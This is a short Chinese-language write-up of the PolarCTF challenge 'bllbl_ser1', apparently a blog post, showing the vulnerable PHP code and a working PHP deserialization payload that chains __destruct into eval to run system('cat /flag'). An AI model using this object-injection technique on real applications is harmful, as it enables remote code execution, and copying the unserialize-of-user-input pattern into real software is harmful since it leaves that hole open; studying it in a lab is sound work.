【PolarCTF】bllbl_ser1

很基础的一道题

复制代码
class bllbl{
    public $qiang;//我的强
    function  __destruct(){
        $this->bllliang();
    }
    function bllliang(){
        $this->qiang->close();
    }
    }
    class bllnbnl{
     public $er;//我的儿
    function close(){
        eval($this->er);
    }
    }
    if(isset($_GET['blljl'])){
        $user_data=unserialize($_GET['blljl']);
    }

payload如下

复制代码
<?php

class bllbl{
    public $qiang;//我的强
    
    }
class bllnbnl{
    public $er;    }
    
$a = new bllbl();
$b = new bllnbnl();
$a->qiang = $b;
$b->er = "system('cat /flag');";

echo urlencode(serialize($a));

?>

这道题的一些知识点

代码可以只打我们需要的部分

从payload可以看到,我们只需要构造我们需要的部分,class的其他部分可以删除

复制代码
<?php

class bllbl{
    public $qiang;//我的强
    
    }
class bllnbnl{
    public $er;    }

通过eval运行的时候代码后面要加;

在做的过程中犯了一个小毛病,就是system后面没有加; 导致payload一直没打成功

复制代码
$b->er = "system('cat /flag');";
相关推荐
数据知道7 小时前
Windows 安全基线:组策略、UAC、Defender 深度配置
windows·安全·网络安全
明天…ling8 小时前
Upload-Labs (Pass1-Pass21) 完整通关思路与源码分析
android·网络安全·渗透测试·burpsuite·upload-labs·文件上传绕过·靶场复现
发量惊人的中年网工12 小时前
工业视觉云边 AI 推理总是卡顿?SD-WAN 打通边缘算力互联
网络·人工智能·网络安全·云计算
网络安全零基础教程14 小时前
零基础转行网安,前两个月具体该学什么工具
网络·学习·安全·web安全·网络安全
全云在线allcloudonline1 天前
等保服务公司能提供什么?广东创云科技一站式等保流程解析
网络安全·等保·企业服务
SmileAndFun1 天前
护网演练中安全检测与监测的常见失效点及闭环方案
网络安全·等保
Chengbei111 天前
云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用
前端·人工智能·网络安全·云原生·容器·kubernetes·系统安全
白猫不黑2 天前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
国际云,接待2 天前
Azure Front Door WAF实战:托管规则、限速与日志查询
microsoft·网络安全·云计算·azure·front door
云栖梦泽在2 天前
稳如狗网络工具箱:IP、DNS、WebRTC、测速、连通性和全球延迟检测工具简明介绍
网络·网络协议·tcp/ip·网络安全·性能优化·webrtc